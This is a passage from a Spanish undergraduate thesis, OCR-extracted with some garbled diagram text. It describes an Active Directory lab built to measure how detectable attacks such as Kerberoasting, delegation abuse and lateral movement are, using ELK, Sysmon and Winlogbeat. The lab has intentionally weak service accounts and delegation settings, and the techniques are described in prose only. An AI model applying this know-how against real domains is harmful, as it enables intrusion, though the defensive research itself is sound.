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1. Introduccidn y objetivos

Mi Trabajo de Fin de Grado tiene como objetivo el analisis de la detectabilidad de técnicas
ofensivas en entornos corporativos basados en Active Directory mediante el disefio, despliegue
y monitorizacion de un laboratorio controlado. A diferencia de un enfoque centrado unicamente
en la ejecucioén de ataques o en la explotacion de vulnerabilidades, este trabajo se orienta a
evaluar qué técnicas generan evidencias detectables en un sistema de monitorizacidony en qué
condiciones dicha deteccion resulta efectiva.

Para ello, se ha construido una infraestructura que simula una red empresarial interna lo mas
realista posible compuesta por un controlador de dominio, workstations, un webserver, dos
servidores de base de datos y un servidor de logs, los cuales permiten reproducir escenarios
reales y generar eventos que puedan ser analizados posteriormente desde un punto de vista
defensivo.

El laboratorio ha sido disefiado para simular de forma controlada distintas fases habituales
dentro de una intrusién sobre una red basada en Active Directory incluyendo reconocimiento,
enumeracién, movimiento lateral, abuso de Kerberos, escalada de privilegios y persistencia.
Ademas, se analiza el comportamiento de los sistemas de registro ante estas accionesy la
capacidad de deteccion que ofrecen las distintas fuentes de datos disponibles. Para ello se han
configurado usuarios, grupos, politicas de grupo y cuentas de servicio que permiten reproducir
técnicas comunmente utilizadas en entornos Active Directory reales. Estas técnicas se alinean
con comportamientos descritos en el marco MITRE ATT&CK lo que permite contextualizar cada
accioény facilitar el analisis posterior desde el punto de vista de la detectabilidad.

De forma paralela, todas las maquinas del dominio generan eventos que son centralizados en el
servidor ELKO1 el cual integra Elasticsearch, Kibana y Vector para la recoleccién, indexaciony
visualizacién de logs. Este enfoque permite no solo registrar la actividad del sistema, sino
también analizar en detalle los eventos generados en cada fase, evaluar su detectabilidad y
estudiar las limitaciones observadas en funcién de las fuentes de datos disponibles, la
configuracion de auditoriay el uso de herramientas adicionales como Sysmon.

El entorno ha sido desplegado en VMWare Workstation Pro componiéndose de 8 maquinas
principales dentro del dominio “lab.local”, cada una con un rol especifico que simula una
infraestructura corporativa real. Una vez implementada la infraestructura se han ejecutado
distintas técnicas sobre el entorno Active Directory comenzando desde un acceso inicial
limitado y avanzando mediante técnicas de enumeracion, abuso Kerberos, movimiento lateral
mediante SMB, explotacién de cuentas de servicio y abuso de servicios web y bases de datos.
Todas estas acciones han sido monitorizadas en tiempo real mediante ELK permitiendo
recopilar las evidencias necesarias para analizar el comportamiento del dominio ante cada
técnica.

Por lo tanto, este proyecto tiene como principal objetivo analizar la capacidad real de deteccion
de distintas técnicas ofensivas en Active Directory a partir de los eventos generados
identificando qué acciones producen evidencias claras, cuales requieren correlacion avanzada
y cuales presentan una visibilidad limitada en los registros nativos de Windows sin el uso de
telemetria adicional.

Finalmente, se destaca que se trata de un entorno de prueba controlado en el que
determinados mecanismos de defensa han sido desactivados de forma deliberada con el
objetivo de evitar interferencias y poder analizar de manera aislada los eventos generados y la
detectabilidad asociada a cada técnica utilizada dentro del dominio.



2. Estado del arte

Active Directory en entornos corporativos

Active Directory es el servicio de directorio desarrollado por Microsoft que permite la gestién
centralizada de identidades, autenticacion y control de acceso en entornos corporativos. Se
estructura de forma jerarquica en dominios, unidades organizativas (OUs) y objetos como
usuarios, equipos o grupos lo que facilita la administracion de forma ordenaday escalable. Esta
organizacion permite aplicar politicas de seguridad mediante GPOs de forma centralizada
garantizando consistencia en la configuracién de todos los sistemas del dominio.

En el ambito de la autenticacidn, el Active Directory usa principalmente el protocolo Kerberos
que se basa en un sistema de tickets gestionado por el controlador de dominioy es el
encargado de validar identidades dentro de la red. De forma complementaria también emplea
NTLM para mantener compatibilidad con sistemas legacy. Con este modelo se evita el envio de
contrasenas en texto claro aunque las configuraciones inseguras o el uso de cifrados débiles
pueden ser explotados mediante técnicas como Kerberoasting o Pass-The-Hash.

Ademas de la autenticacién, AD integra servicios esenciales como la resolucién de nombre a
través de DNS, la gestidn de permisos a través de listas de control de acceso (ACLs) y la
delegacion de tareas administrativas a distintos perfiles dentro de la organizacién. Estas
capacidades permiten una gestion mas eficiente de grandes infraestructuras reduciendo la
complejidad operativa y facilitando el control de accesos a recursos corporativos.

Debido a su papel central en la gestidon de identidades y accesos Active Directory es un
elemento critico desde el punto de vista de la seguridad. El compromiso del dominio puede
implicar el control total de la infraestructura permitiendo a un atacante acceder a sistemas,
modificar configuraciones o mantener persistencia dentro del entorno.

Amenazas en entornos Active Directory

Debido al papel que tiene en la gestidon de identidades y accesos, AD se ha convertido en uno de
los principales objetivos en ataques dirigidos a entornos corporativos. Una vez que un atacante
obtiene acceso inicial a la red el objetivo principal se convierte en la escalada de privilegios
hasta alcanzar cuentas con altos niveles de autorizacién como administradores de dominio.
Este proceso se suele dar en fases de postexplotacién donde el atacante busca expandir su
control dentro del entorno.

Existen multiples técnicas ampliamente usadas que aprovechan tanto configuraciones
inseguras como el propio funcionamiento de Active Directory, las cuales permiten recolectar
informacién, moverse lateralmente y abusar de servicios internos del dominio. Algunas son:

e Enumeracién de usuarios y recursos del dominio

e Abuso de Kerberos (Kerberoasting, PtT...)

e Movimiento lateral mediante protocolos como SMB (445/TCP) o RDP (3389/TCP)
e Explotacién de cuentas de servicio mal configuradas

e Abuso de delegaciones y permisos excesivos

Una de las caracteristicas mas relevantes de estas técnicas es que muchas de ellas usan
protocolos habituales del dominio, lo que hace que su actividad sea dificil de distinguir del
actividad cotidiana generada por cuentas internas del dominio. Por ejemplo, cuando se hace
uso de Kerberos o se accede a recursos compartidos son acciones habituales dentro de un
dominio pero pueden ser explotadas con fines maliciosos.



Esta caracteristica introduce un desafio directo desde el punto de vista de la deteccidn ya que
la presencia de eventos de autenticacién o acceso no resulta suficiente por si sola para
determinar un comportamiento malicioso. La deteccién efectiva depende de relacionar eventos
procedentes de distintas fuentes y analizarlos dentro de una misma secuencia temporal debido
a que sin un analisis adecuado de los logs generados, muchas de estas actividades pueden
pasar desapercibidas.

MITRE ATT&CK como marco de referencia

El framework MITRE ATT&CK es un modelo ampliamente usado en ciberseguridad el cual
clasifica las tacticas y técnicas empleadas por atacantes en entornos reales. Se basa en
conocimiento recopilado de incidentes reales y proporciona una estructura estandarizada que
permite analizar el comportamiento de los adversarios de forma sistematica. Gracias a este
enfoque es posible describir atagues complejos.

MITRE ATT&CK organiza las técnicas en distintas fases del ciclo de ataque, conocidas como
tacticas, entre las que se incluyen reconocimiento, ejecucioén, persistencia, escalada de
privilegios o movimiento lateral. Cada una de estas tacticas agrupa multiples técnicas
especificas que describen cdémo un atacante puede alcanzar sus objetivos dentro de un
sistema. Esta organizacion permite analizar un ataque no como acciones aisladas sino como
una secuencia estructurada de comportamientos.

El uso de este framework es muy util en tareas de deteccién y respuesta ya que permite mapear
eventos y actividades observadas en los sistemas con técnicas concretas conocidas. De este
modo se facilita la creacion de reglas de deteccidn, la correlacion de eventos y la identificacion
de patrones de comportamiento malicioso dentro de la infraestructura.

En este trabajo las técnicas ejecutadas en el laboratorio se alinean con el marco MITRE ATT&CK
lo que permite contextualizar cada fase del ataque y relacionarla con patrones de
comportamiento conocidos. Este enfoque no solo aporta rigor al analisis sino que también
permite evaluar la detectabilidad de cada técnica en funcién de los eventos generados y su
visibilidad en el sistema de monitorizacion.

SIEMy deteccion de amenazas

Los sistemas SIEM o Security Information and Event Management permiten la recopilacién,
almacenamiento y analisis centralizado de eventos generados por distintos sistemas dentro de
una infraestructura. Su principal objetivo es detectar actividades anémalas o potencialmente
maliciosas mediante la correlacion de eventos procedentes de multiples fuentes.

En los entornos basados en Active Directory, los SIEM desempefan un papel en el que permiten
analizar los eventos criticos relacionados con autenticacion, acceso a recursos, ejecucion de
procesos o actividad de la red. Con la centralizacidon de los logs procedentes de controladores
de dominio, workstations y servidores se facilita mucho la identificacién de patrones de
comportamiento y la reconstruccion de incidentes.

Sin embargo, la eficacia de estos sistemas depende mucho de la calidad y nivel de detalle de
los datos que son recopilados, ademas de las reglas de deteccidon implementadas. Sin estoy
sin fuentes de datos enriquecidas como Sysmon, es posible que algunas actividades pasen
desapercibidas.



Uno de los principales retos en la deteccién es diferenciar entre actividad legitima y maliciosa,
especialmente cuando la actividad ofensiva se realiza mediante cuentas reales del dominioy
protocolos habituales de administracion. Es por eso por lo que ademas del uso de SIEM es
necesario relacionar autenticaciones, accesos a recursos y actividad de procesos para
identificar desviaciones respecto al comportamiento esperado para identificar desviaciones
sutiles dentro del entorno.

Es importante destacar que la simple recopilacion de logs no implica capacidad de deteccién.
La deteccion efectiva requiere la definicion de reglas, el analisis conjunto de registros y el
conocimiento del comportamiento normal del sistema lo que introduce un componente
analitico clave en los sistemas SIEM.

ELK como plataforma de monitorizacién

El stack ELK (Elasticsearch, Logstash, o Vector en nuestro caso, y Kibana) es una de las
soluciones mas usadas para la centralizaciéon y analisis de logs en entornos de seguridad.

Elasticsearch actiua como motor de almacenamiento e indexacién permitiendo gestionar
grandes volumenes de datos de forma eficiente, mientras que Kibana proporciona capacidades
de visualizacién y analisis mediante consultas de los datos recopilados.

Esto se combina con herramientas como Sysmon y Winlogbeat para obtener una visibilidad
detallada de la actividad del sistema incluyendo eventos como la creacidon de procesos,
conexiones de red, accesos a archivos o eventos de autenticacion. Esta informacion amplia
significativamente las capacidades de auditoria nativas que tiene Windows proporcionando un
nivel mayor de detalle necesario para la deteccion de técnicas avanzadas.

ELK no solo actia como repositorio de logs, sino como una plataforma clave para el analisis
forense y la identificacion de patrones asociados a actividades maliciosas.

En este trabajo ELK se usa como plataforma central para la recopilaciéon y analisis de eventos
generados durante las distintas fases del ataque permitiendo evaluar la detectabilidad de cada
técnica en funcidn de los registros disponibles. Esto convierte a ELK en un elemento
fundamental para el analisis de comportamiento del atacante y la validacidn de mecanismos de
deteccion dentro del laboratorio.

Retos en la deteccion de ataques AD

A pesar de la disponibilidad de herramientas avanzadas de monitorizacion, la deteccion de
ataques en entornos AD sigue representando un desafio significativo. Muchas técnicas
ofensivas generan eventos similares a los producidos durante tareas administrativas habituales,
lo que dificulta identificar comportamientos anémalos Unicamente a partir de eventos aislados.
En estos casos la identificacidon del comportamiento malicioso requiere un andalisis mas
profundo basado en contexto y relacidn entre eventos procedentes de distintas fuentes.

Ademas, la visibilidad del sistema depende en gran medida de la configuracién de auditoriay de
las fuentes de datos disponibles. La ausencia de configuraciones avanzadas o de herramientas
como Sysmon limita la cantidad y calidad de la informacion registrada reduciendo la capacidad
de deteccidn. Esto puede provocar que determinadas acciones pasen desapercibidas o que no
exista suficiente evidencia para identificar correctamente una técnica empleada por una
atacante.



Otro aspecto relevante es la necesidad de correlacionar eventos procedentes de multiples
fuentes como logs de seguridad, eventos del sistema o registros de red. Muchas técnicas solo
pueden ser detectadas cuando se analizan de forma conjunta con diferentes evidencias lo que
incrementa la complejidad del analisis y requiere herramientas adecuadas.

En este sentido, uno de los principales retos no reside Unicamente en la generacion de eventos,
sino en la identificacion de aquellos que aportan valor real para la deteccion evitando tanto la
falta de visibilidad como el exceso de ruido.

Fuentes de datos y autenticacion en Active Directory

La deteccidn de ataques en entornos AD depende, como ya se dijo, de las fuentes de datos
disponibles y de la calidad de la informacién que estas proporcionan. Los sistemas Windows
generan eventos de seguridad a través del registro de eventos, Security Logs, donde se
almacenan actividades relacionadas con la autenticacién, acceso a recursos, uso de privilegios
0 cambios en cuentas y grupos. Estos registros constituyen la base para el analisis de seguridad
ya que reflejan el comportamiento del sistemay de los usuarios dentro del dominio.

Estos eventos también presentan limitaciones en cuanto al nivel de detalle y contexto
disponibles, es por eso que las herramientas como Sysmon permiten ampliar la visibilidad del
sistema registrando informacién mas granular sobre la actividad del equipo como la creacion
de procesos, conexiones de red, carga de librerias o modificacidn en el sistema. Esta
informacién adicional resulta especialmente util para identificar técnicas avanzadas que no
quedan claramente reflejadas en los logs.

Al correlacionar estos datos es posible obtener una visién mas completa del comportamiento
del sistemay detectar patrones que de forma aislada podrian pasar desapercibidos. Por otra
parte, este aumento de visibilidad también se traduce en un aumento considerable del volumen
de informacién generada.

En este contexto, se hace necesario aplicar técnicas de filtrado, correlacidon y analisis que
permitan identificar los eventos realmente relevantes.

Evaluacién de vulnerabilidades y métricas de severidad

La identificacién de las vulnerabilidades tiene que ir acompanada de un proceso de evaluacién
que permita determinar su impacto real dentro de un sistema. Esta evaluacion nos sirve para
priorizar riesgos, comprender las posibles consecuencias de un ataque y establecer medidas
de mitigaciones adecuadas.

Una vulnerabilidad no implica necesariamente un riesgo critico por si misma sino que su
gravedad depende de mas factores como la facilidad de explotacién, el nivel de acceso
requerido o el impacto que puede generar sobre los sistemas afectados. Por este motivo se
usan metodologias estandarizadas que permiten clasificar y comparar vulnerabilidades de
forma objetiva.

Uno de estos estandares es el Common Vulnerability Scoring System (CVSS) el cual
proporciona un marco de referencia para evaluar la severidad de una vulnerabilidad en base a
distintos parametros relacionados tanto con su explotacién como con su impacto. Este sistema
tiene en cuenta aspectos como la complejidad del ataque, la necesidad de autenticacién
previa, nivel de interaccion requerido y el impacto sobre la confidencialidad, integridad y
disponibilidad de la informacién.



El uso de este tipo de métricas nos permite establecer una clasificacion homogénea de las
vulnerabilidades identificadas durante la fase de explotacion del laboratorio. Para ello se
tendran en cuenta factores como el nivel de acceso inicial, posibilidad de escalada de
privilegios, impacto sobre el dominio y la capacidad de propagacion dentro de la red.

Con esto, ademas de permitir reproducir técnicas de ataque en el trabajo se puede analizar su
impacto real dentro del entorno y contextualizar el impacto potencial de las técnicas
empleadas dentro del entorno relacionando directamente las acciones del atacante con sus
consecuencias en el sistema.



3. Diseno del laboratorio

Infraestructura del laboratorio y arquitectura de red

El proyecto simulara una red empresarial con nombre de dominio “lab.local”. El objetivo final
del laboratorio es realizar y analizar ataques comunes a AD como enumeracion, escalada de
privilegios, movimiento lateral y persistencia ademas de evaluar su deteccion mediante el
servidor de logs.

L Subred:
Dorinio: LAE.LOCAL 192 165 109.0/24

DELEG-
CLIENT1 CLIENTZ CLIENTZ CLIENT

o D b

Ilustracion 1. Arquitectura general del laboratorio Active Directory desplegado para el anélisis ofensivo y defensivo

La imagen anterior muestra la arquitectura completa del laboratorio disefiado para el proyecto.
Toda la infraestructura se encuentra dentro de la subred 192.168.109.0/24 y esta compuesta
por 8 maquinas principales ademas de un host de ataque basado en Kali Linux.

Todas las maquinas Windows tendran Sysmon y Winlogbeat para poder enviar los logs a ELKO1
mientas que SQLO1 tendra Vector para el mismo propdsito.

En el diagrama se reflejan las relaciones de comunicacién entre los distintos equiposy las
dependencias al dominio. Todas las maquinas del dominio envian sus eventos a ELKO1 a través
de Vector y Winlogbeat. La maquina CLIENT2 actia como punto inicial comprometido y permite
el pivoting al resto de la infraestructura.

Todas las maquinas estan unidas al dominio LAB.LOCAL y mediante comunicacion directa con
el controlador de dominio DCO1 encargado de proporcionar los servicios de autenticacidony
gestion centralizada.



Sistemas Operativos Usados

El laboratorio ha sido disefiado usando distintos sistemas operativos con el objetivo de simular
un entorno corporativo realista en el que coexisten varias tecnologias.

En primer lugar, se emplearon sistemas Windows tanto en estaciones de trabajo como
servidores, usando versiones actuales como Windows 11 en los clientes y Windows Server 2022
en los servidores. Esta eleccion permite reproducir de forma fiel un entorno empresarial
moderno en el que Active Directory constituye la base de la gestidn de identidades y accesos. El
uso de estos sistemas permite simular los mecanismos de autenticacion, gestion de politicas 'y
administracién centralizada caracteristicos de este tipo de infraestructuras.

Por otro lado, se incorporaron sistemas Linux en determinados servidores, basados en
distribuciones como Ubuntu Server 24.04 con el fin de simular servicios corporativos en los que
los sistemas Linux forman parte de la infraestructura usando mecanismos como Kerberos o
LDAP para la gestién de identidades.

La inclusion de sistemas Linux dentro del dominio permite analizar escenarios mas avanzados
en los que servicios que no pertenecen al sistema Windows interactlan directamente con AD
ampliando la superficie de ataque y permitiendo estudiar técnicas que afectan a entornos
hibridos.

Finalmente se incluyé una maquina atacante basada en Kali, la cual integra una distribucion
muy usada en pruebas de pentesting. Esta me permite disponer de un conjunto completo de
herramientas orientadas a la ejecucién de técnicas de reconocimiento, enumeracion,
explotaciéon y postexplotacion dentro del entorno.

Roles de los sistemas

Clientes Windows

e CLIENT1: puesto de trabajo de un usuario estandar. Genera actividad tipica de
empleado (inicio de sesidn interactivo, acceso a recursos del dominio) y permite
representar un usuario. Se usa para simular un primer compromiso de credenciales

e CLIENT2: segundo puesto de trabajo estandar. Desde aqui se realizan las primeras
acciones de enumeracion desde un equipo de usuario. Tiene como objetivo el
movimiento lateraly la validacién de accesos a recursos compartidos y servicios
internos

e CLIENTS3: estacion de trabajo asociada a un usuario de soporte con permisos
delegados. Se usa para reflejar tareas reales de administracién de escritorioy como
posible salto intermedio en escenarios de escalada por permisos delegados.

e DELEG-CLIENT: equipo dedicado a escenarios de delegacion Kerberos. Se emplea para
pruebas de configuracion de delegacién y para reproducir técnicas que abusan de dicha
delegacion para acceder a servicios como otro usuario. Ademas, da servicioweb a la
red interna corporativa



Servidores Windows

DCO01: controlador de dominio. Proporciona Active Directory Domain Services y DNS,
centraliza la autenticacion (Kerberos/NTLM) y aplica GPOs. En él se definen OUs, grupos
y cuentas de servicio o SPNs necesarios para reproducir configuracionesy errores
frecuentes en entornos corporativos.

SQLO02: servidor miembro del dominio que expone un servicio de base de datos (SQL
Server) para la red interna. Esta pensado para generar superficie de ataque tipica de
MSSQL (enumeracién de instancias, acceso por credenciales, ejecucion de comandos
si se habilita) y para trabajar con cuentas de servicio con SPN habituales en escenarios
de Kerberoasting.

Sistemas Linux

ELKO1: servidor central de logs. Ejecuta el stack Elastic (Elasticsearch y Kibana, y el
componente de ingesta Vector) para recibir, indexar y visualizar la telemetria del
dominio. Su funcién es permitir evidencias en cada fase.

SQLO1: servidor Linux que integra una base de datos interconectada con el servidor web
interno. Se utiliza para escenarios de explotacidon en bases de datos.

Maquina atacante

Kali: maquina desde la que se realizan las fases de reconocimiento, enumeraciény
explotacién dentro de la subred del laboratorio. Representa a un atacante con acceso a
red interna por VPN o compromiso previo y agrupa las herramientas usadas como
escaneres, utilidades para Kerberos, SMB, LDAP... y scripts de postexplotacién.

Diseno Active Directory

La estructura de Active Directory ha sido disefiada para reproducir configuraciones habituales
en entornos corporativos que permitan la ejecucién de técnicas como enumeracion,
Kerberoasting, abuso de delegacidn y escalada de privilegios

Estructura organizativa (OUs)

Estas permiten agrupar usuarios, equiposy otros objetos de forma jerarquica para facilitar la
aplicacién de GPOs diferenciadas y una administracién mas ordenada. Se crearon las
siguientes OUs en el entorno:

LAB-Users: contiene cuentas de usuario estandar del dominio

Workstations: agrupa las maquinas internas unidas al dominio

ServiceAccounts: incluira las cuentas de servicio usada por las aplicaciones y tareas
automatizadas

LAB-Admins: para cuentas de privilegios elevados como Helpdesk, lab_admin o los
administradores de dominio delegados



Cuentas de usuario

Se han creado los siguientes usuarios:

e User1: usuario estandar del dominio asociado a la maquina CLIENT1.
o OU: LAB-Users
o Simula la actividad normal de un empleado

e User2: usuario con permisos limitados asociado a la maquina DELEG-CLIENT usado en
pruebas de delegacion
o OU:LAB-Users
o Sirve en escenarios de delegacion
e Attacker: cuenta con permisos limitados asociada a la maquina CLIENT2 desde la cual
se comenzara a realizar el ataque en la red interna
o OU:LAB-Users
o Sirve como usuario de entrada al dominio

o Helpdesk: miembro del grupo Helpdesk con privilegios delegados sobre equipos
cliente, simularia el personal del soporte técnico, asociado a CLIENT3
o OU: LAB_Admins
o Simula personal de soporte técnico con permisos limitados de gestion de
equipos (cambio de contrasenfas, desbloqueo de cuentas...)

e Lab_admin: cuenta administrativa creada que tendra privilegios administrativos en
todo el dominio
o OU:Lab-Admins
o Sirve para administrary realizar configuraciones que requieren altos privilegios
dentro del dominio

Cuentas de servicio y SPNs

e Svc-sql: cuenta de servicio asociada a la base de datos utilizada por la aplicacion web
desplegada en SQLO1
o SPN:MSSQLSvc/sql01.lab.local:3306
o OuU: ServiceAccounts
o Utilizada por el servicio web desplegado en DELEG-CLIENT para la conexion con
la base de datos interna

e Svc-sql02: cuenta de servicio para el motor de base de datos SQL
o SPN: MSSQLSvc/sqlserver.lab.local:1433
o OuU: ServiceAccounts
o Simular acceso a base de datos con kerberos, pruebas de movimiento lateral
hacia servidores de datos y kerberoasting sobre cuentas de servicio

e Svc-web: cuenta de servicio web IIS/HTTP
o SPN: HTTP/webserver.lab.local
o OuU: ServiceAccounts
o Application Pool de IIS y autenticacién Kerberos web



Delegacion de permisos

Se delega sobre la cuenta attacker el permiso Read all user information desde Active Directory
Users and Computers. Esta delegacion permite al usuario consultar informacion basica del
resto de cuentas del dominio sin otorgarle capacidad de modificacion. Este tipo de permisos se
asigna habitualmente en entornos reales para facilitar tareas de soporte o auditoria, pero una
delegacion excesiva o mal controlada puede facilitar labores de reconocimiento por parte de un
atacante constituyendo un punto de partida para la enumeracion del dominio.

Delegation of Control Wizard *

Tasks to Delegate {F—p 1

You can select common tasks or customize your own. ) l B

(®) Delegate the following common tasks:

[] Create, delete, and manage user accounts ~
[] Reset user passwords and force password change at next logon

Read all user information

[ Create, delete and manage groups

[] Modify the membership of a group

[] Manage Group Palicy links

[[] Generate Resultant Set of Palicy (Planning) A
£ >

(O Create a custom task to delegate

< Back Cancel Help

Ilustracion 2. Configuracion de delegacion de permisos en Active Directory mediante Delegation of Control Wizard

La imagen anterior muestra el asistente de delegacién de control de Active Directory utilizado
para asignar permisos especificos sobre el objeto de dominio para concederle la capacidad de
lectura sobre la informacién de usuarios.

Resumen de objetos del Active Directory

Se cred un script en .ps1 que nos diese por pantalla un resumen de lo creado hasta el
momento:

r> .\Desktop\Comprobaciones.psl

Illustracidn 3. Verificacion de usuarios, SPNs y equipos creados en el entorno Active Directory mediante script de
PowerShell



Esta figura muestra todos los usuarios, maquinas y cuentas de servicio creadas en el entorno
del laboratoria.

Sistemas de monitorizacion

Recoleccion de eventos

La recoleccién de eventos en el laboratorio se ha disefiado con el objetivo de obtener visibilidad
sobre la actividad que se generara en los distintos sistemas creados durante la ejecucion de los
escenarios de ataque.

En los sistemas Windows se emplean mecanismos de registro avanzados, como Sysmon, que
permiten ampliar la informacion recogida por el sistema operativo. Estos permiten capturar
eventos relacionados con la ejecucidn de procesos, conexiones de red y actividad del sistema
proporcionando un mayor nivel de detalles.

Ademas, se recopilan los eventos de seguridad nativos los cuales son enviados por agentes de
recoleccion como Winlogbeat, incluyendo informacién sobre autenticaciones, uso de
credencialesy actividad relacionada con los servicios de directorio. Esto sera muy util en el
analisis de protocolos como Kerberos y en el seguimiento de los inicios de sesion dentro del
dominio.

En los sistemas Linux se usan herramientas de recoleccion de logs, como Vector, que permiten
capturar la actividad generada tanto por el sistema como por los servicios desplegados, como
el servidor web y la base de datos, complementando asi la visibilidad global del entorno.

Los eventos recopilados incluyen informacion sobre autenticacion de usuarios, emisiéon de
tickets Kerberos, ejecucion de procesos, conexiones de red y acceso a recursos. Esto permitira
analizar el comportamiento del sistemay detectar actividades potencialmente maliciosas.

Sysmon y Winlogbeat en clientes Windows

Ambos componentes son esenciales para el registro y envio de eventos de seguridad hacia el
servidor ELKO1:

e Sysmon es una herramienta de Microsoft Systeminternals que amplia las capacidades
de auditoria del sistema operativo registrando la informacién de forma detallada sobre
la actividad del sistema

e Winlogbeat es un agente ligero desarrollado por Elastic que envia los registros de
eventos de Windows a Elasticsearch para su analisis centralizado

Centralizacion de logs en ELK

La centralizacion de logs en el laboratorio se realizard mediante el servidor Linux ELKO1 el cual
actla como punto central de recogida y andlisis de los eventos generados por los distintos
sistemas del dominio.

Para conseguirlo se ha empleado el stack ELK que estd compuesto por Elasticsearch, Kibanay
un Logstash (este ultimo se cambid por Vector a conveniencia debido a que estaba dando fallos
en el formato de los logs). Este sera el encargado de recibir los eventos desde los distintos
equipos del entorno.



Elasticsearch se encarga del almacenamiento e indexacién de los registros permitiendo la
consulta de estos de forma eficiente y facilitando el analisis de grandes voliumenes de datos
generados durante la actividad del laboratorio.

El motor de busqueda Kibana nos proporciona una interfaz de visualizacién que permite
explorar los eventos recopilados, realizar busquedas mediante queries y construir
representaciones graficas que faciliten la interpretacion de la informacion.

Por la otra parte, Vector actuara como elemento que ingesta recibiendo y procesando los
eventos enviados desde los sistemas Windows y Linux, asegurando su correcta integracion
dentro del sistema.

Esto nos permite disponer de una visidn unificada del entorno facilitando la correlacion de
eventos entre diferentes maquinasy el analisis de la actividad generada durante las distintas
fases del ataque.

Visibilidad y analisis
Una vez centralizados los eventos en ELK, fue posible analizar de forma conjunta la actividad

generada en los distintos sistemas del dominio y relacionarla directamente con las técnicas
ejecutadas durante las fases ofensivas del laboratorio.

A través de Kibana se pudieron explorar los registros de forma detallada mediante busquedas
KQL, filtros y visualizaciones dinamicas permitiendo analizar eventos concretos en funcion de
distintos criterios como el usuario, la direccion IP, el Event ID, el host de origen o el servicio
afectado. Esto permitié reconstruir gran parte de la actividad del atacante dentro del entornoy
observar qué evidencias generaba cada técnica en tiempo real.

Este enfoque permitié transformar ELK en un sistema orientado no solo a almacenamiento de
logs, sino también a deteccidn y analisis de comportamiento dentro del laboratorio Active
Directory, facilitando la evaluacion practica de la detectabilidad de las distintas técnicas
utilizadas.

Servicios desplegados en el laboratorio

El laboratorio incluye distintos servicios desplegados que tienen como objetivo simular un
entorno corporativo realista y proporcionar una superficie de ataque que nos deje probar la
ejecucion de diferentes técnicas durante la fase de compromiso.

Estos servicios han sido seleccionados y configurados de tal forma que permiten reproducirse
en entornos empresariales incluyendo la interaccidn entre aplicaciones web, bases de datosy
recursos compartidos en el entorno AD. Esta integracidon permite analizar no solo algunas
vulnerabilidades individuales sino también el impacto de la relacion entre distintos sistemas
dentro de la infraestructura.

Servicio web (IIS)

Se ha desplegado un servicio web interno basado en IIS con el objetivo de simular una
aplicacién corporativa integrada en el dominio. Este servicio usa mecanismos de autenticacion
basados en AD permitiendo a los usuarios acceder mediante autenticacion integrada, lo que
reproduce escenarios reales en los que los servicios web forman parte de la infraestructura
corporativa.



El servicio se ejecuta usando una cuenta de servicio dedicada (svc-web), lo que introduce un
elemento clave desde el punto de vista de la seguridad. Este tipo de configuracion es habitual
en entornos reales y permite analizar el comportamiento de la autenticacion Kerberos, asi como
posibles abusos relacionados con el uso de cuentas de servicio como la obtencién de tickets o
su reutilizacion.

Esta aplicacién mantendra comunicacion con un sistema de base de datos interno generando
un flujo de interaccidn entre servicios que resulta muy relevante desde el punto de vista
ofensivo. Esta arquitectura me permite simular escenarios de explotacion web, acceso a datos
internos y posibles encadenamientos de vulnerabilidades entre distintos componentes del
sistema.

Bases de datos (SQL y Maria DB)

Este entorno también cuenta con dos sistemas de base de datos que representan distintos
escenarios habituales en infraestructuras corporativas permitiendo ampliar la superficie de
ataque y simular diferentes vectores de compromiso.

Por un lado, tenemos un servidor de base de datos integrado en el dominio el cual usa una
cuenta asociaday permite la autenticacién mediante credenciales del dominio. Este tipo de
configuracion permite reproducir técnicas relacionadas con el abuso de cuentas de servicio,
autenticacion Kerberos y acceso a sistemas criticos dentro de la red.

Por otro lado, se ha desplegado un servidor de base de datos en un sistema Linux que da
soporte directo al servidor web. Este componente permite simular escenarios de interaccién
entre aplicaciones y bases de datos, asi como analizar posibles vulnerabilidades derivadas de
configuraciones inseguras, accesos indebidos o exposicidon de servicios.

La coexistencia de ambos sistemas permite estudiar distintos tipos de ataques incluyendo
acceso mediante credenciales comprometidas, ejecucidon de comandos a través de servicios
de base de datos y movimiento lateral hacia sistemas con mayor privilegio.

Recursos compartidos (SMB)

Como parte del entorno se han configurado recursos compartidos accesibles del dominio con
el objetivo de simular escenarios en los que la informacion interna puede estar expuesta debido
a configuraciones inadecuadas o controles de acceso insuficientes al tener exceso de
confianza por estar dentro de la red interna.

Estos recursos permiten a los usuarios del dominio acceder a informacién compartida donde
puede haber datos sensibles, documentacién interna o configuraciones incorrectas que
facilitan el acceso no autorizado.

Desde el punto de vista de seguridad, los recursos SMB constituyen una superficie de ataque
muy relevante ya que pueden facilitar tareas de reconocimiento, obtencién de informacién
sensible y apoyo en fases posteriores del ataque como el movimiento lateral o escalada de
privilegios.

Este tipo de servicios permite analizar patrones de acceso y su visualizacion en los sistemas de
monitorizacién del laboratorio.



Configuracion de seguridad y vulnerabilidades

El laboratorio ha sido disefiado incorporando de forma intencionada diversas configuraciones
que reflejan debilidades comunes en entornos corporativos basados en AD. Estas
configuraciones permiten reproducir escenarios realistas de ataque y analizar tanto su impacto
como su detectabilidad mediante el sistema de monitorizacion desplegado.

A diferencia de un entorno productivo donde las configuraciones estan orientadas a minimizar
riesgos, he introducido vulnerabilidades controladas que permiten estudiar el comportamiento
de un atacante dentro de la red y su interaccion con los distintos sistemas.

Cuentas de servicio y exposicion de SPNs

En el entorno se han definido multiples cuentas de servicio asociadas a distintos sistemas
como aplicaciones web y bases de datos. Estas cuentas disponen de ServicePrincipalNames
(SPNs) que permiten su identificacidon dentro del dominio y la autenticacion mediante Kerberos.

Este tipo de configuracion es habitual en entornos empresariales pero introducen una
superficie de ataque relevante. La existencia de SPNs permite la ejecucion de técnicas como
Kerberoasting en las que el atacante puede solicitar tickets de servicio asociados a estas
cuentasy tratarlos posteriormente fuera del sistema para intentar obtener sus credenciales.

Ademas, el uso de cuentas de servicio con privilegios elevados o configuraciones poco
restrictivas incrementan el impacto potencial de un compromiso permitiendo su uso en fases
posteriores como movimiento lateral o escalada de privilegios.

Delegacion Kerberos

Se ha configurado un escenario de delegacion en el equipo DELEG-CLIENT permitiendo que
este pueda actuar en nombre de otros usuarios frente a distintos servicios del dominio.

Este tipo de configuracion reproduce situaciones reales en las que determinados servicios
requieren acceder a recursos en nombre de un usuario autenticado. Sin embargo, una
delegacion mal configurada puede ser explotada por el atacante para suplantar identidades 'y
acceder a servicios con mayores privilegios.

La presencia de delegaciéon permite analizar técnicas basadas en el abuso de tickets Kerberos 'y
la impersonacion de usuarios dentro del dominio.

Permisos delegados y control de acceso

Se han asignado permisos especificos a determinadas cuentas con el objetivo de simular
